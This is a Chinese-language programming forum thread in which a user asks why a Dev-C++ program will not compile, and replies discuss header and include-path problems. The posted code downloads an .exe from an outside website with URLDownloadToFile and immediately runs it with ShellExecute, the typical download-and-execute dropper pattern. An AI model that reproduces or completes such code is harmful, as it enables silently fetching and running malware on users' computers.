c++ urldownloadtofile

场景:dev c++ 下怎么用URLDownloadToFile()

dev c++ 下如何用URLDownloadToFile()
各位高手,请看一下!代码如下:
#include<windows.h>
#include<urlmon.h>//报错!
#include<process.h>
#include<Shellapi.h> //这里这个头文件是对ShellExecute的定义
//pragma comment (lib,"Urlmon.lib")
int main()
{
URLDownloadToFile(NULL,"http://www.lzitw.com/kj/hoho.exe","C:\test.exe",0,NULL);
ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
return 0;
}
//我从bcb5.5那里copy urlmon.h 放到dev-cpp的文件夹include里,把urlmon.lib放到dev-cpp
//的文件夹lib里.
#include<urlmon.h>//报错!无法编译why?

------解决方案--------------------
也得给我们看看是什么编译错误啊,。
------解决方案--------------------
mark, 学习。
------解决方案--------------------
/Dev-Cpp/include/urlmon.h C:\Dev-Cpp\C msxml.h: No such file or directory.
------------------------
似乎只复制一个urlmon.h还不够吧?你需要确保urlmon.h中包含的所有头文件,Dev Cpp中都有,否则,就不应该把其他编译器的lib直接复制过来,呵呵~

另外,试试我前面提到的,使用lib,但不包含.h文件,只对使用到的函数进行声明...
------解决方案--------------------
你配置下dev c++
的include路径不就好了吗?
不要只拷贝一个urlmon.h.因为它可能会依赖其它的头文件